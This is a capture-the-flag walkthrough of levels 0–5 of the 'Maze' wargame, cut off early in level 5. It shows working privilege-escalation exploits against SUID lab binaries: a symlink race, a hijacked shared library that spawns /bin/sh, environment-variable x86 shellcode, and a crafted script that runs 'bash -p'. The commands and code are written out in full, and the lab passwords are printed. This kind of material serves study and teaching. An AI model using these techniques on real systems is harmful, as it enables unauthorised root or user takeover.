Maze
50 minutes to read
This is a lab to practice some exploitation techniques, programming and reverse engineering. The lab consists of 9 levels, using a Linux/x86 architecture (all protections are disabled: NX, PIE, canaries, and even ASLR).
To connect to the first level, we are provided with the SSH credentials for maze0
.
The initial reconnaissance of the machine tells us that we have some SUID binaries that will be exploited to pass to the next level. Moreover, we have some files that contain the password for users mazeX
:
maze0@maze:~$ ls -lh /maze
total 88K
-r-sr-x--- 1 maze1 maze0 8.1K Aug 26 2019 maze0
-r-sr-x--- 1 maze2 maze1 7.2K Aug 26 2019 maze1
-r-sr-x--- 1 maze3 maze2 7.3K Aug 26 2019 maze2
-r-sr-x--- 1 maze4 maze3 732 Aug 26 2019 maze3
-r-sr-x--- 1 maze5 maze4 10K Aug 26 2019 maze4
-r-sr-x--- 1 maze6 maze5 9.2K Aug 26 2019 maze5
-r-sr-x--- 1 maze7 maze6 8.0K Aug 26 2019 maze6
-r-sr-x--- 1 maze8 maze7 9.7K Aug 26 2019 maze7
-r-sr-x--- 1 maze9 maze8 12K Aug 26 2019 maze8
maze0@maze:~$ ls -lh /etc/maze_pass
total 40
-r-------- 1 maze0 maze0 6 Aug 26 2019 maze0
-r-------- 1 maze1 maze1 11 Aug 26 2019 maze1
-r-------- 1 maze2 maze2 11 Aug 26 2019 maze2
-r-------- 1 maze3 maze3 11 Aug 26 2019 maze3
-r-------- 1 maze4 maze4 11 Aug 26 2019 maze4
-r-------- 1 maze5 maze5 11 Aug 26 2019 maze5
-r-------- 1 maze6 maze6 11 Aug 26 2019 maze6
-r-------- 1 maze7 maze7 11 Aug 26 2019 maze7
-r-------- 1 maze8 maze8 11 Aug 26 2019 maze8
-r-------- 1 maze9 maze9 11 Aug 26 2019 maze9
The file permissions are properly set so that everything works for each level.
Level 0 -> 1
We can transfer /maze/maze0
to our machine copying the file encoded in Base64. Then we can open it in Ghidra and obtain the decompiled C source code:
int main(int argc, char **argv) {
int iVar1;
__uid_t __suid;
__uid_t __euid;
__uid_t __ruid;
char buf[20];
int fd;
memset(buf, 0, 0x14);
iVar1 = access("/tmp/128ecf542a35ac5270a87dc740918404", 4);
if (iVar1 == 0) {
__suid = geteuid();
__euid = geteuid();
__ruid = geteuid();
setresuid(__ruid, __euid, __suid);
iVar1 = open("/tmp/128ecf542a35ac5270a87dc740918404", 0);
if (iVar1 < 0) {
/* WARNING: Subroutine does not return */
exit(-1);
}
read(iVar1, buf, 0x13);
write(1, buf, 0x13);
}
return 0;
}
We see that it is accessing a file at /tmp/128ecf542a35ac5270a87dc740918404
. If the access is granted, then it reads the content and prints it to standard output (stdout
).
Let’s see what permissions we have in /tmp
:
maze0@maze:~$ ls -l --time-style=+ /
total 148
drwxr-xr-x 2 root root 4096 bin
drwxr-xr-x 4 root root 4096 boot
dr-xr-xr-x 3 root root 0 cgroup2
drwxr-xr-x 14 root root 4020 dev
drwxr-xr-x 88 root root 4096 etc
drwxr-xr-x 12 root root 4096 home
lrwxrwxrwx 1 root root 29 initrd.img -> boot/initrd.img-4.9.0-6-amd64
lrwxrwxrwx 1 root root 29 initrd.img.old -> boot/initrd.img-4.9.0-6-amd64
drwxr-xr-x 16 root root 4096 lib
drwxr-xr-x 2 root root 4096 lib32
drwxr-xr-x 2 root root 4096 lib64
drwxr-xr-x 2 root root 4096 libx32
drwx------ 2 root root 16384 lost+found
drwxr-xr-x 2 root root 4096 maze
drwxr-xr-x 3 root root 4096 media
drwxr-xr-x 2 root root 4096 mnt
drwxr-xr-x 2 root root 4096 opt
dr-xr-xr-x 106 root root 0 proc
lrwxrwxrwx 1 root root 9 README.txt -> /etc/motd
drwx------ 8 root root 4096 root
drwxr-xr-x 15 root root 580 run
drwxr-xr-x 2 root root 4096 sbin
drwxr-xr-x 3 root root 4096 share
drwxr-xr-x 2 root root 4096 srv
dr-xr-xr-x 12 root root 0 sys
drwxrws-wt 1243 root root 57344 tmp
drwxr-xr-x 12 root root 4096 usr
drwxr-xr-x 11 root root 4096 var
lrwxrwxrwx 1 root root 26 vmlinuz -> boot/vmlinuz-4.9.0-6-amd64
lrwxrwxrwx 1 root root 26 vmlinuz.old -> boot/vmlinuz-4.9.0-6-amd64
We cannot list the files inside /tmp
, but we can write inside. Let’s create a file called /tmp/128ecf542a35ac5270a87dc740918404
and execute the binary:
maze0@maze:~$ echo ASDF > /tmp/128ecf542a35ac5270a87dc740918404
maze0@maze:~$ /maze/maze0
ASDF
The idea is to create a symbolic link so that /tmp/128ecf542a35ac5270a87dc740918404
points to /etc/maze_pass/maze1
and then read it using the binary:
maze0@maze:~$ ln -s /etc/maze_pass/maze1 /tmp/128ecf542a35ac5270a87dc740918404
maze0@maze:~$ ls -l --time-style=+ /tmp/128ecf542a35ac5270a87dc740918404
lrwxrwxrwx 1 maze0 root 20 /tmp/128ecf542a35ac5270a87dc740918404 -> /etc/maze_pass/maze1
maze0@maze:~$ /maze/maze0
Using ltrace
, we see that access
is returning -1
, so the file is not read:
maze0@maze:~$ ltrace /maze/maze0
__libc_start_main(0x804854b, 1, 0xffffd7a4, 0x80485e0 <unfinished ...>
memset(0xffffd6e8, '\0', 20) = 0xffffd6e8
access("/tmp/128ecf542a35ac5270a87dc7409"..., 4) = -1
+++ exited (status 0) +++
Although we are not able to pass the access
function in normal circumstances, there is a race condition. The idea is to pass the access
function linking /tmp/128ecf542a35ac5270a87dc740918404
to a file we are allowed to read (for instance, /etc/maze_pass/maze0
) and right after that link it to /etc/maze_pass/maze1
, so that there is a situation where we can open the second file and read it.
Therefore, we need to run this loop in one session:
maze0@maze:~$ while true; do ln -sf /etc/maze_pass/maze0 /tmp/128ecf542a35ac5270a87dc740918404; ln -sf /etc/maze_pass/maze1 /tmp/128ecf542a35ac5270a87dc740918404; done
And this other loop in another session:
maze0@maze:~$ while true; do /maze/maze0; done
After some seconds, we will see the password:
maze0@maze:~$ while true; do /maze/maze0; done
-bash: fork: retry: Resource temporarily unavailable
...
-bash: fork: retry: Resource temporarily unavailable
hashaachon
-bash: fork: retry: Resource temporarily unavailable
^C-bash: fork: Interrupted system call
Level 1 -> 2
If we take /maze/maze1
and open it in Ghidra, we will see this “Hello world” main
function:
int main() {
puts("Hello World!\n");
return 0;
}
However, there is a problem if we execute it. The binary is trying to find a library libc.so.4
at the current directory:
maze1@maze:~$ /maze/maze1
/maze/maze1: error while loading shared libraries: ./libc.so.4: cannot open shared object file: No such file or directory
maze1@maze:~$ ldd /maze/maze1
linux-gate.so.1 (0xf7fd7000)
./libc.so.4 => not found
libc.so.6 => /lib32/libc.so.6 (0xf7e12000)
/lib/ld-linux.so.2 (0xf7fd9000)
Hence, to run the binary, we need to provide a valid library in the current directory. For instance, we can tell the binary that puts
has the following functionality:
#include <stdlib.h>
int puts(const char *s) {
system("/bin/sh");
return 0;
}
As a result, when executing the binary, we will have a shell as maze2
(because it is a SUID binary that belongs to maze2
).
Let’s write the source file and compile the library in /tmp
, because we are allowed to write there:
maze1@maze:~$ cd /tmp
maze1@maze:/tmp$ vim lib.c
maze1@maze:/tmp$ cat lib.c
#include <stdlib.h>
int puts(const char *s) {
system("/bin/sh");
return 0;
}
This is the way to compile a shared library:
maze1@maze:/tmp$ gcc -m32 -shared -fpic lib.c -o libc.so.4
Now we run the binary from the current directory and we have a shell and the password for the next user:
maze1@maze:/tmp$ /maze/maze1
$ whoami
maze2
$ cat /etc/maze_pass/maze2
fooghihahr
Level 2 -> 3
The main
function of the decompiled source code for /maze/maze2
is quite interesting:
int main(int argc, char **argv) {
char code[8];
anon_subr_void_varargs *fp;
if (argc != 2) {
/* WARNING: Subroutine does not return */
exit(1);
}
strncpy(code, argv[1], 8);
(*(code *) code)();
return 0;
}
Basically, it is taking 8 bytes from a provided argument and executing those bytes.
Recall that this lab has all protections disabled (NX, PIE, canaries, and even ASLR). Hence, we can find a way to run malicious shellcode.
But 8 bytes are not enough to enter a valid shellcode. However, we can use environment variables.
The stack will be filled with all the environment variables of the current shell session. Hence, we can use a jump instruction in the 8 bytes we must enter as argument and jump to the stack at the position of a certain environment variable.
Let’s test it using GDB on the server:
maze2@maze:~$ export AAAA=BBBBBBBB
maze2@maze:~$ gdb -q /maze/maze2
Reading symbols from /maze/maze2...done.
(gdb) break main
Breakpoint 1 at 0x8048421: file maze2.c, line 22.
(gdb) run CCCCCCCC
Starting program: /maze/maze2 CCCCCCCC
Breakpoint 1, main (argc=2, argv=0xffffd764) at maze2.c:22
22 maze2.c: No such file or directory.
Ok, now let’s look for the position of the environment variable AAAA=BBBBBBBB
in the stack:
(gdb) info proc mapping
process 20960
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0x0 /maze/maze2
0x8049000 0x804a000 0x1000 0x0 /maze/maze2
0xf7e10000 0xf7e12000 0x2000 0x0
0xf7e12000 0xf7fc3000 0x1b1000 0x0 /lib32/libc-2.24.so
0xf7fc3000 0xf7fc5000 0x2000 0x1b0000 /lib32/libc-2.24.so
0xf7fc5000 0xf7fc6000 0x1000 0x1b2000 /lib32/libc-2.24.so
0xf7fc6000 0xf7fc9000 0x3000 0x0
0xf7fd2000 0xf7fd4000 0x2000 0x0
0xf7fd4000 0xf7fd7000 0x3000 0x0 [vvar]
0xf7fd7000 0xf7fd9000 0x2000 0x0 [vdso]
0xf7fd9000 0xf7ffc000 0x23000 0x0 /lib32/ld-2.24.so
0xf7ffc000 0xf7ffd000 0x1000 0x22000 /lib32/ld-2.24.so
0xf7ffd000 0xf7ffe000 0x1000 0x23000 /lib32/ld-2.24.so
0xfffdd000 0xffffe000 0x21000 0x0 [stack]
(gdb) find 0xfffdd000, 0xffffe000 - 1, "AAAA=BBBBBBBB"
0xffffdf27
1 pattern found.
(gdb) x/s 0xffffdf27
0xffffdf27: "AAAA=BBBBBBBB"
And there we have it. Now, we identify the address of the instruction that performs the execution of the 8 bytes (0x0804844e
) and set a breakpoint:
(gdb) disassemble main
Dump of assembler code for function main:
0x0804841b <+0>: push %ebp
0x0804841c <+1>: mov %esp,%ebp
0x0804841e <+3>: sub $0xc,%esp
=> 0x08048421 <+6>: lea -0xc(%ebp),%eax
0x08048424 <+9>: mov %eax,-0x4(%ebp)
0x08048427 <+12>: cmpl $0x2,0x8(%ebp)
0x0804842b <+16>: je 0x8048434 <main+25>
0x0804842d <+18>: push $0x1
0x0804842f <+20>: call 0x80482e0 <exit@plt>
0x08048434 <+25>: mov 0xc(%ebp),%eax
0x08048437 <+28>: add $0x4,%eax
0x0804843a <+31>: mov (%eax),%eax
0x0804843c <+33>: push $0x8
0x0804843e <+35>: push %eax
0x0804843f <+36>: lea -0xc(%ebp),%eax
0x08048442 <+39>: push %eax
0x08048443 <+40>: call 0x8048300 <strncpy@plt>
0x08048448 <+45>: add $0xc,%esp
0x0804844b <+48>: mov -0x4(%ebp),%eax
0x0804844e <+51>: call *%eax
0x08048450 <+53>: mov $0x0,%eax
0x08048455 <+58>: leave
0x08048456 <+59>: ret
End of assembler dump.
(gdb) break *0x0804844e
Breakpoint 2 at 0x804844e: file maze2.c, line 26.
(gdb) continue
Continuing.
Breakpoint 2, 0x0804844e in main (argc=2, argv=0xffffd764) at maze2.c:26
26 in maze2.c
At this point, we can check what address has $eax
inside:
(gdb) p/x $eax
$1 = 0xffffd6bc
Hence, we can use an instruction to jump to another address using an offset relative to the current address. This is the offset we need (notice that the 5 byte stand for for AAAA=
):
(gdb) p/x 0xffffdf27 + 5 - 0xffffd6bc
$2 = 0x870
The assembly instruction to use is the following one:
maze2@maze:~$ pwn asm 'jmp $+0x870' -f string
'\xe9k\x08\x00\x00'
To verify that this works, let’s put several "\xcc"
(instruction for a breakpoint, SIGTRAP) in the environment variable. And we see that the execution stops, so we are good to go:
maze2@maze:~$ export AAAA=$(python -c 'print "\xcc" * 20')
maze2@maze:~$ gdb -q /maze/maze2
Reading symbols from /maze/maze2...done.
(gdb) run $(pwn asm 'jmp $+0x870' -f raw)
Starting program: /maze/maze2 $(pwn asm 'jmp $+0x870' -f raw)
/bin/bash: warning: command substitution: ignored null byte in input
Program received signal SIGTRAP, Trace/breakpoint trap.
0xffffdf2d in ?? ()
Now we can take a common Linux x86 shellcode like this one: https://www.exploit-db.com/exploits/42428 and enter it as the environment variable, prepended with some nop
instructions in case the stack is modified or we do not jump exactly at the beginning of the shellcode.
In GDB, it works, but it does not take the SUID permissions:
maze2@maze:~$ gdb -q /maze/maze2
Reading symbols from /maze/maze2...done.
(gdb) run $(pwn asm 'jmp $+0x870' -f raw)
Starting program: /maze/maze2 $(pwn asm 'jmp $+0x870' -f raw)
/bin/bash: warning: command substitution: ignored null byte in input
process 24019 is executing new program: /bin/dash
$ whoami
maze2
Outside GDB it does not work:
maze2@maze:~$ export AAAA=$(python -c 'print "\x90" * 20 + "\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"')
maze2@maze:~$ /maze/maze2 $(pwn asm 'jmp $+0x870' -f raw)
-bash: warning: command substitution: ignored null byte in input
Segmentation fault
This is happening because GDB puts more data onto the stack, so we need to decrease the length of the jump instruction until we get a shell:
maze2@maze:~$ /maze/maze2 $(pwn asm 'jmp $+0x870' -f raw)
-bash: warning: command substitution: ignored null byte in input
Segmentation fault
maze2@maze:~$ /maze/maze2 $(pwn asm 'jmp $+0x860' -f raw)
-bash: warning: command substitution: ignored null byte in input
Segmentation fault
maze2@maze:~$ /maze/maze2 $(pwn asm 'jmp $+0x850' -f raw)
-bash: warning: command substitution: ignored null byte in input
$ whoami
maze3
$ cat /etc/maze_pass/maze3
beinguthok
Level 3 -> 4
In this level, we find a binary that behaves in a different way if we use an argument or not:
maze3@maze:~$ /maze/maze3 asdf
maze3@maze:~$ /maze/maze3
./level4 ev0lcmds!
Using strace
we see that if no arguments are specified, the program stops. And if we provide an argument, it does something more:
maze3@maze:~$ strace /maze/maze3
execve("/maze/maze3", ["/maze/maze3"], [/* 17 vars */]) = 0
strace: [ Process PID=30847 runs in 32 bit mode. ]
write(1, "./level4 ev0lcmds!\n\0", 20./level4 ev0lcmds!
) = 20
exit(1) = ?
+++ exited with 1 +++
maze3@maze:~$ strace /maze/maze3 asdf
execve("/maze/maze3", ["/maze/maze3", "asdf"], [/* 17 vars */]) = 0
strace: [ Process PID=30844 runs in 32 bit mode. ]
mprotect(0x8048000, 151, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
exit(1) = ?
+++ exited with 1 +++
Curiously, the program is using mprotect
to change the permissions of the binary addresses to rwx
(readable, writeable and executable).
Let’s see what we have in GDB:
maze3@maze:~$ gdb -q /maze/maze3
Reading symbols from /maze/maze3...(no debugging symbols found)...done.
(gdb) set pagination off
(gdb) disassemble _start
Dump of assembler code for function _start:
0x08048060 <+0>: pop %eax
0x08048061 <+1>: dec %eax
0x08048062 <+2>: jne 0x8048096 <fine>
0x08048064 <+4>: call 0x804807d <_start+29>
0x08048069 <+9>: cs das
0x0804806b <+11>: insb (%dx),%es:(%edi)
0x0804806c <+12>: gs jbe 0x80480d4 <d1+9>
0x0804806f <+15>: insb (%dx),%es:(%edi)
0x08048070 <+16>: xor $0x20,%al
0x08048072 <+18>: gs jbe 0x80480a5 <fine+15>
0x08048075 <+21>: insb (%dx),%es:(%edi)
0x08048076 <+22>: arpl %bp,0x64(%ebp)
0x08048079 <+25>: jae 0x804809c <fine+6>
0x0804807b <+27>: or (%eax),%al
0x0804807d <+29>: mov $0x4,%eax
0x08048082 <+34>: mov $0x1,%ebx
0x08048087 <+39>: pop %ecx
0x08048088 <+40>: mov $0x14,%edx
0x0804808d <+45>: int $0x80
0x0804808f <+47>: mov $0x1,%eax
0x08048094 <+52>: int $0x80
End of assembler dump.
From the _start
function, we only care about the call to fine
:
(gdb) disassemble fine
Dump of assembler code for function fine:
0x08048096 <+0>: pop %eax
0x08048097 <+1>: mov $0x7d,%eax
0x0804809c <+6>: mov $0x8048060,%ebx
0x080480a1 <+11>: and $0xfffff000,%ebx
0x080480a7 <+17>: mov $0x97,%ecx
0x080480ac <+22>: mov $0x7,%edx
0x080480b1 <+27>: int $0x80
0x080480b3 <+29>: lea 0x80480cb,%esi
0x080480b9 <+35>: mov %esi,%edi
0x080480bb <+37>: mov $0x2c,%ecx
0x080480c0 <+42>: mov $0x12345678,%edx
End of assembler dump.
Let’s add a breakpoint in the last instruction and run the code using whatever argument:
(gdb) break *0x080480c0
Breakpoint 1 at 0x80480c0
(gdb) run asdf
Starting program: /maze/maze3 asdf
Breakpoint 1, 0x080480c0 in fine ()
Now we step one instruction and disassemble the current block, to see what the program is doing:
(gdb) stepi
0x080480c5 in l1 ()
(gdb) disassemble
Dump of assembler code for function l1:
=> 0x080480c5 <+0>: lods %ds:(%esi),%eax
0x080480c6 <+1>: xor %edx,%eax
0x080480c8 <+3>: stos %eax,%es:(%edi)
0x080480c9 <+4>: loop 0x80480c5 <l1>
End of assembler dump.
It is performing some operations within a loop (44 times, counter stored previously in $ecx = 0x2c
). We can add a breakpoint at the end of the loop and use continue 0x2a
to stop when $ecx = 1
:
(gdb) break *0x080480c9
Breakpoint 2 at 0x80480c9
(gdb) continue
Continuing.
Breakpoint 2, 0x080480c9 in l1 ()
(gdb) p/x $ecx
$2 = 0x2c
(gdb) continue
Continuing.
Breakpoint 2, 0x080480c9 in l1 ()
(gdb) p/x $ecx
$3 = 0x2b
(gdb) continue 0x2a
Will ignore next 41 crossings of breakpoint 2. Continuing.
Breakpoint 2, 0x080480c9 in l1 ()
(gdb) p/x $ecx
$4 = 0x1
Now if we step one instruction, we exit the loop. And we disassemble another block:
(gdb) stepi
0x080480cb in d1 ()
(gdb) disassemble
Dump of assembler code for function d1:
=> 0x080480cb <+0>: pop %eax
0x080480cc <+1>: cmpl $0x1337c0de,(%eax)
0x080480d2 <+7>: jne 0x80480ed <d1+34>
0x080480d4 <+9>: xor %eax,%eax
0x080480d6 <+11>: push %eax
0x080480d7 <+12>: push $0x68732f2f
0x080480dc <+17>: push $0x6e69622f
0x080480e1 <+22>: mov %esp,%ebx
0x080480e3 <+24>: push %eax
0x080480e4 <+25>: push %ebx
0x080480e5 <+26>: mov %esp,%ecx
0x080480e7 <+28>: xor %edx,%edx
0x080480e9 <+30>: mov $0xb,%al
0x080480eb <+32>: int $0x80
0x080480ed <+34>: mov $0x1,%eax
0x080480f2 <+39>: xor %ebx,%ebx
0x080480f4 <+41>: inc %ebx
0x080480f5 <+42>: int $0x80
End of assembler dump.
This code might look familiar to the shellcode used in the previous level. Actually, it is pretty similar to this one: https://www.exploit-db.com/exploits/43716. In fact, the operations that where executed inside the loop are designed to modify the binary instructions and set the shellcode.
However, there is a previous comparison. To run the shellcode, the content of the address stored in $eax
must be equal to 0x1337c0de
. We can check this value:
(gdb) si
0x080480cc in d1 ()
(gdb) p/x $eax
$5 = 0xffffd8b8
(gdb) x/s 0xffffd8b8
0xffffd8b8: "asdf"
It is the argument we provided when running the program.
Therefore, if we provide 0x1337c0de
in bytes as an argument, we will have a shell as maze4
:
maze3@maze:~$ /maze/maze3 $(echo -e "\xde\xc0\x37\x13")
$ whoami
maze4
$ cat /etc/maze_pass/maze4
deekaihiek
Level 4 -> 5
This time we have a binary that checks the contents of a provided file before executing it:
int main(int argc, char **argv) {
int __fd;
int iVar1;
stat st;
Elf32_Phdr phdr;
Elf32_Ehdr ehdr;
int fd;
if (argc != 2) {
printf("usage: %s file2check\n", *argv);
/* WARNING: Subroutine does not return */
exit(-1);
}
__fd = open(argv[1], 0);
if (__fd < 0) {
perror("open");
/* WARNING: Subroutine does not return */
exit(-1);
}
iVar1 = stat(argv[1], (stat *) &st);
if (iVar1 < 0) {
perror("stat");
/* WARNING: Subroutine does not return */
exit(-1);
}
read(__fd, &ehdr, 0x34);
lseek(__fd, ehdr.e_phoff, 0);
read(__fd, &phdr, 0x20);
if (phdr.p_paddr == (uint) ehdr.e_ident[8] * (uint) ehdr.e_ident[7] && st.st_size < 0x78) {
puts("valid file, executing");
execv(argv[1], (char **) 0x0);
}
fwrite("file not executed\n", 1, 0x12, stderr);
close(__fd);
return 0;
}
Let’s create a simple file in /tmp
and see if it is executed:
maze4@maze:~$ python3 -c 'print("".join(chr(c) * 4 for c in range(0x41, 0x5b)))'
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
maze4@maze:~$ python3 -c 'print("".join(chr(c) * 4 for c in range(0x41, 0x5b)))' < /tmp/file
maze4@maze:~$ /maze/maze4 /tmp/file
file not executed
It is not, let’s see what the program is doing using GDB. First, we must set a breakpoint before lseek
:
maze4@maze:~$ gdb -q /maze/maze4
Reading symbols from /maze/maze4...done.
(gdb) set pagination off
(gdb) disassemble main
Dump of assembler code for function main:
0x080485fb <+0>: push %ebp
0x080485fc <+1>: mov %esp,%ebp
0x080485fe <+3>: sub $0xb0,%esp
0x08048604 <+9>: cmpl $0x2,0x8(%ebp)
...
0x0804868d <+146>: call 0x8048430 <read@plt>
0x08048692 <+151>: add $0xc,%esp
0x08048695 <+154>: mov -0x1c(%ebp),%eax
0x08048698 <+157>: push $0x0
0x0804869a <+159>: push %eax
0x0804869b <+160>: pushl -0x4(%ebp)
0x0804869e <+163>: call 0x8048450 <lseek@plt>
0x080486a3 <+168>: add $0xc,%esp
0x080486a6 <+171>: push $0x20
0x080486a8 <+173>: lea -0x58(%ebp),%eax
0x080486ab <+176>: push %eax
0x080486ac <+177>: pushl -0x4(%ebp)
0x080486af <+180>: call 0x8048430 <read@plt>
0x080486b4 <+185>: add $0xc,%esp
0x080486b7 <+188>: mov -0x4c(%ebp),%eax
0x080486ba <+191>: movzbl -0x31(%ebp),%edx
0x080486be <+195>: movzbl %dl,%ecx
0x080486c1 <+198>: movzbl -0x30(%ebp),%edx
0x080486c5 <+202>: movzbl %dl,%edx
0x080486c8 <+205>: imul %ecx,%edx
0x080486cb <+208>: cmp %edx,%eax
0x080486cd <+210>: jne 0x80486fa <main+255>
0x080486cf <+212>: mov -0x84(%ebp),%eax
0x080486d5 <+218>: cmp $0x77,%eax
0x080486d8 <+221>: jg 0x80486fa <main+255>
0x080486da <+223>: push $0x8048800
0x080486df <+228>: call 0x8048490 <puts@plt>
0x080486e4 <+233>: add $0x4,%esp
0x080486e7 <+236>: mov 0xc(%ebp),%eax
0x080486ea <+239>: add $0x4,%eax
0x080486ed <+242>: mov (%eax),%eax
0x080486ef <+244>: push $0x0
0x080486f1 <+246>: push %eax
0x080486f2 <+247>: call 0x80484d0 <execv@plt>
0x080486f7 <+252>: add $0x8,%esp
0x080486fa <+255>: mov 0x8049aa8,%eax
0x080486ff <+260>: push %eax
0x08048700 <+261>: push $0x12
0x08048702 <+263>: push $0x1
0x08048704 <+265>: push $0x8048816
0x08048709 <+270>: call 0x8048480 <fwrite@plt>
0x0804870e <+275>: add $0x10,%esp
0x08048711 <+278>: pushl -0x4(%ebp)
0x08048714 <+281>: call 0x80484e0 <close@plt>
0x08048719 <+286>: add $0x4,%esp
0x0804871c <+289>: mov $0x0,%eax
0x08048721 <+294>: leave
0x08048722 <+295>: ret
End of assembler dump.
(gdb) break *0x0804869e
Breakpoint 1 at 0x804869e: file maze4.c, line 50.
(gdb) x/16x $esp
0xffffd62c: 0x00000003 0x48484848 0x00000000 0x0000fb03
0xffffd63c: 0x00000000 0x00000000 0x00000201 0x000081ed
0xffffd64c: 0x00000001 0x00003a9c 0x00000000 0x00000000
0xffffd65c: 0x00000000 0xffff0000 0x00000069 0x00001000
We can observe that the second argument for lseek
is 0x48484848
(HHHH
). This function will set the pointer to read the file at character position 0x48484848
(which is invalid, obviously). Once the pointer is set, the program will read again the file but starting from the position set by lseek
.
The idea is to fill the file with junk data until the position where now we have HHHH
. Then put here 0x20
to make lseek
set the pointer after HHHH
. Let’s do it:
maze4@maze:~$ python3 -c 'print("A" * 28 + "\x20\0\0\0" + "".join(chr(c) * 4 for c in range(0x41, 0x5b)))'
AAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
maze4@maze:~$ python3 -c 'print("A" * 28 + "\x20\0\0\0" + "".join(chr(c) * 4 for c in range(0x41, 0x5b)))' < /tmp/file
maze4@maze:~$ xxd /tmp/file
00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000010: 4141 4141 4141 4141 4141 4141 2000 0000 AAAAAAAAAAAA ...
00000020: 4141 4141 4242 4242 4343 4343 4444 4444 AAAABBBBCCCCDDDD
00000030: 4545 4545 4646 4646 4747 4747 4848 4848 EEEEFFFFGGGGHHHH
00000040: 4949 4949 4a4a 4a4a 4b4b 4b4b 4c4c 4c4c IIIIJJJJKKKKLLLL
00000050: 4d4d 4d4d 4e4e 4e4e 4f4f 4f4f 5050 5050 MMMMNNNNOOOOPPPP
00000060: 5151 5151 5252 5252 5353 5353 5454 5454 QQQQRRRRSSSSTTTT
00000070: 5555 5555 5656 5656 5757 5757 5858 5858 UUUUVVVVWWWWXXXX
00000080: 5959 5959 5a5a 5a5a 0a YYYYZZZZ.
Now, we can set a breakpoint at the comparing instructions (where the if
clause is in the decompiled source code):
maze4@maze:~$ gdb -q /maze/maze4
Reading symbols from /maze/maze4...done.
(gdb) break *0x080486cb
Breakpoint 1 at 0x80486cb: file maze4.c, line 54.
(gdb) break *0x080486d5
Breakpoint 2 at 0x80486d5: file maze4.c, line 54.
(gdb) run /tmp/file
Starting program: /maze/maze4 /tmp/file
Breakpoint 1, 0x080486cb in main (argc=2, argv=0xffffd784) at maze4.c:54
54 maze4.c: No such file or directory.
(gdb) x/i $eip
=> 0x80486cb <main+208>: cmp %edx,%eax
(gdb) info registers
eax 0x44444444 1145324612
ecx 0x41 65
edx 0x1081 4225
ebx 0x0 0
esp 0xffffd638 0xffffd638
ebp 0xffffd6e8 0xffffd6e8
esi 0x2 2
edi 0xf7fc5000 -134459392
eip 0x80486cb 0x80486cb <main+208>
eflags 0x292 [ AF SF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
Here we see that where we have 0x44444444
(DDDD
) the program is expecting 0x1081
. Let’s fix it inside GDB and continue:
(gdb) set $eax = 0x1081
(gdb) continue
Continuing.
Breakpoint 2, main (argc=2, argv=0xffffd784) at maze4.c:54
54 in maze4.c
(gdb) x/i $eip
=> 0x80486d5 <main+218>: cmp $0x77,%eax
(gdb) p/x $eax
$2 = 0x89
This time, 0x89
is the size of the file. Hence, we need a file that is 0x78
length (actually, it is OK to have a shorter size). After these checks, the file will be executed with execve
.
This will be a valid file to satisfy the checks:
maze4@maze:~$ python3 -c 'import os; os.write(1, b"A" * 28 + b"\x20\0\0\0" + b"B" * 12 + b"\x81\x10\0\0" + b"C" * 32 + b"\n")' < /tmp/file
maze4@maze:~$ xxd /tmp/file
00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000010: 4141 4141 4141 4141 4141 4141 2000 0000 AAAAAAAAAAAA ...
00000020: 4242 4242 4242 4242 4242 4242 8110 0000 BBBBBBBBBBBB....
00000030: 4343 4343 4343 4343 4343 4343 4343 4343 CCCCCCCCCCCCCCCC
00000040: 4343 4343 4343 4343 4343 4343 4343 4343 CCCCCCCCCCCCCCCC
00000050: 0a .
Now we need to modify the junk data to make it a valid executable file. For example, we can use this:
maze4@maze:~$ python3 -c 'import os; os.write(1, b"#!/bin/sh\n\n/bin/bash -p # " + b"\x20\0\0\0" + b"B" * 12 + b"\xb8\x2e\0\0" + b"C" * 32 + b"\n")' < /tmp/file
maze4@maze:~$ xxd /tmp/file
00000000: 2321 2f62 696e 2f73 680a 0a2f 6269 6e2f #!/bin/sh../bin/
00000010: 6261 7368 202d 7020 2020 2320 2000 0000 bash -p # ...
00000020: 4242 4242 4242 4242 4242 4242 b82e 0000 BBBBBBBBBBBB....
00000030: 4343 4343 4343 4343 4343 4343 4343 4343 CCCCCCCCCCCCCCCC
00000040: 4343 4343 4343 4343 4343 4343 4343 4343 CCCCCCCCCCCCCCCC
00000050: 0a .
Basically, it is a shell script that uses a shebang to specify that is must be executed with /bin/sh
, and then we use /bin/bash -p
to use the SUID privileges of the binary. Notice that the #
is a comment in shell scripting:
maze4@maze:~$ cat /tmp/file
#!/bin/sh
/bin/bash -p # BBBBBBBBBBBB?.CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
Now we run it and complete the level:
maze4@maze:~$ /maze/maze4 /tmp/file
valid file, executing
bash-4.4$ whoami
maze5
bash-4.4$ cat /etc/maze_pass/maze5
ishipaeroo
Level 5 -> 6
For this level, we have a binary /maze/maze5
that we can reverse using Ghidra and get this decompiled main
function:
int main() {
size_t sVar1;
long lVar2;
int iVar3;
char pass[9];
char user[9];
puts("X----------------");
printf(" Username: ");
__isoc99_scanf("%8s", user);
printf(" Key: ");
__isoc99_scanf("%8s", pass);
sVar1 = strlen(user);
if ((sVar1 == 8) && (sVar1 = strlen(pass), sVar1 == 8)) {
lVar2 = ptrace(PTRACE_TRACEME, 0, 0, 0);
if (lVar2 == 0) {
iVar3 = foo(user, pass);
if (iVar3 == 0) {
puts("\nNah, wrong.");
} else {
puts("\nYeh, here\'s your shell");
system("/bin/sh");
}
} else {
puts("\nnahnah...");
}
return 0;
}
puts("Wrong length you!");
/* WARNING: Subroutine does not return */
exit(-1);
}
Basically, the program requests a username and a password. Moreover, it disallows the use of GDB, strace
or ltrace
because ptrace
will not return 0.
